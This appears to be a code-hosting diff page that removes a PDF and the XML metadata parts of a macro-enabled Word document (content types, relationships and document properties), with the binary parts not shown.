/Size 5
|
||||
/Info 0 0 R
|
||||
>>
|
||||
startxref
|
||||
429
|
||||
%%EOF
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="emf" ContentType="image/x-emf"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/stylesWithEffects.xml" ContentType="application/vnd.ms-word.stylesWithEffects+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
|
||||
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
||||
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>1</TotalTime><Pages>1</Pages><Words>2</Words><Characters>13</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>14</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
|
||||
@@ -1,2 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:creator>Windows User</dc:creator><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>2</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2012-06-07T21:43:00Z</dcterms:modified></cp:coreProperties>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user